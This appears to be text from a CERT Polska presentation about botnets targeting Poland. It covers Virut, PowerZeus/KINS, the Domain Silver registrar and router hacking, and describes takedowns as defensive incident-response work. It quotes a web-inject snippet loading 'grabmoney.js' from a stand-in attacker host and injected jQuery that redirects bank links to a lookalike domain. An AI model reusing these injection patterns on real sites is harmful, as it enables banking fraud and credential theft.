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Would you like a Porsche? 

Porsche Cayenne S Turbo: 149 000 USD 



Or maybe a different type? 

Porsche 911 Turbo: 149 000 USD  

   



The car is there …  

Paunch (Dmitry 
Fedotov?): 
50 000 USD monthly 

Porsche Cayenne S Turbo: 

Porsche 911 Turbo: 
149 000 USD 
 
 

src: krebsonsecurity.com, www.group-ib.com 



And a luxurious lifestyle … 

Hamza Bendelladj (bx1): 
10-20 mln USD for a 
transaction? 

src: krebsonsecurity.com, emirates.com  



Losses seem huge * … 

 

< INSERT ANY NUMBER OF $$$ 
REPORTED IN THE MEDIA HERE > 

 

*  but also obviously hard to verify 
independently 



What do we try to do about it as 
CERT.PL? 

• Try to assess the situation from the local 
perspective (attribute numbers, at least based 
on what we receive) 

• Look at threats that use Polish internet 
properties on a large scale for C&C purposes 
or target Polish users Look at threats that  

• Try to do something about it … 

• Mostly malware/botnet related 



Bots in Poland in 2013 - over 15 mln 
unique IP/bot combinations registered 
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Daily maximum of unique IP/bot 
combinations throughout 2013 
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Overall using this methodology: 170k unique IP/bots seen daily 



Much C&C infra for a lot of botnets 
was in Poland 

• ZeuS 

• Citadel 

• ZeuS ICE IX 

• Virut 

• Sality 

• Dorkbot/Ngrbot 

• Andromeda/Gamrue 

• RunForestRun 

 



Changes in the .ru ccTLD 

 .ru Registry introduced changes that enabled 
takedowns of domains … and then … 

 

 „ A few days ago Jindrich Kubec (Avast) pinged 
me that the RunForestRun malware changed 
the domain generating algorithm (DGA) and 
now uses waw.pl subdomains (instead of .ru) 
in malicious URLs.” 

 

http://blog.unmaskparasites.com/2012/07/26/runforestrun-now-encrypts-legitimate-js-files/ 

 



CASE STUDY #1: VIRUT 



Virut 

• Virut botnet, controlled from Poland 

• Basic method of spreading: PE file infection (later 
versions also spread by HTML files, drive-bys) 

• Business model: pay-per-install schemes, rented 
out 

• Involved in financial theft, DDoS, spam etc. 

• Centrally managed over an IRC based protocol 

• Operational since 2006 

• Tons of variants 

 

 



Virut in statistics – Kaspersky 2012 

  



Virut – botnet takeover 

• Jan/Feb 2013: NASK in coordination with 
multiple other parties took over all known 
Virut domains worldwide.  

• Over 82 domains taken down – 43 .pl, 30 .ru, 8 
.at i 1 .org and redirected 

• Sinkhole established: sinkhole.cert.pl  

 



Virut – snapshot at the moment of 
takeover 



Virut sinkholed 

  



Domain hijacking & DGA 

• Fallback mechanism when communicating with 
unauthenticated C&C 

• 2048 bit RSA crypto, SHA-256 
• To recognize C&C (incl. static ones) as legitimate waits 

for signed date (+/- 3 days) and IP, else disconnects 
after 30 seconds 

• To recognize DGA domain as legitimate, needs signed 
domain name, obtained after connecting to port 443  
(waits for 20 seconds, then disconnects) 

• Up to 10k domains can be used daily 
–  6 characters long, .com TLD 

• But this seems to vary … 
 
 



BANKING TROJANS - POLAND 



“Man in the Browser” 



Web-inject 

Target URL : “*/our internet bank/*” 

data_before 

 <head> 

data_after 

 <body> 

data_inject 

 <script type=“text/javascript” 
src=https://evilserver.example/grabmoney.js”> 

</script> 



Automatic Transfer System 



“Erroneous transfer” 



“Defined transfer” 



CASE STUDY #2: POWERZEUS 



  



PowerZeus/KINS 

• Started targeting Polish users around July 2013 
• Combines 3 features: webinjects (Zeus), plugin API (SpyEye), 

code injection methods used by Power Loader (Alureon) 
• Modules downloaded by framework (essentially what 

PowerZeus is) 
• Includes a module we called zeus-dll (encrypted on disk) 
• This particular instance aimed at installing the poland.apk, 

polska.apk, e-security.apk on an Android 
• This instance used .ru domains for C&C 
 
  

 
 



Command features … + 
„steganography”  

• get info 

– starts with #, phone no. somewhere in message 

• new number 

– starts with /, phone no. somewhere in message  

• fin 

– starts with , 

• uninstall 

–  starts with ! 

 

 

+34 668 … 



Spanish connection … 

fonyou.es – turns out C&C 
number was virtual  



Sinkhole stats unique IPs/day 

Sample date: 
12/11/2013 



CASE STUDY #3: DOMAIN SILVER 



Domain Silver, Inc 

• Seychelles based Registrar, active in .pl since June 
2012 

• Q4 2012: an increase in domains registered 
through this Registrar, mostly for C&C purposes 

• Weak reaction to abuse notifications 

– Slow suspension of domains, apparently to allow for 
the botnets involved to hop to other C&C domains  

• Despite numerous requests, the malicious 
registrations continued 

 



Domain Silver, Inc 

• Q1-Q2 2013: takeover of about 100 domains 
used for C&C 

• Formal request to cease malicious 
registrations  

• Domain Silver, Inc, claimed to comply but the 
malicious registrations continued 

• 30th July 2013: NASK terminated its 
agreement with Domain Silver, Inc. 

 



Domain Silver, Inc 

• Overall, out of 641 domains registered on the 
9th of July 2013 (plus sinkholed previously), all 
active ones turned out to be malicious – apart 
from domainsilver.pl itself 

• Over 20 different botnets taken over or 
disrupted: 

– including ransomware cases … 



Sort of „cloud services” … 

  



Distribution of botnets registered 
through Domain Silver, Inc 

  



CASE STUDY #4: SOHO ROUTER 
HACKING 



SOHO Router Case 

  



Scenario 1 



Scenario 1 

The following piece of code was injected at the end of the HTML: 
 

<script> 

jQuery(document).ready(function() { 

jQuery('a[href*="ebgz.pl"]').attr('href','http://ssl-.ebgz.pl/'); 

jQuery('li p a.button.green').attr('href','http://ssl-.ebgz.pl/'); 

}); 

</script> 



Scenario 1 



Scenario 2 



The trend we see: hacking the mind 

src: www.pocobor.com 



 

 

 

 

 
 

Contact: info@cert.pl 

Twitter: @cert_polska_en 

Web: www.cert.pl 


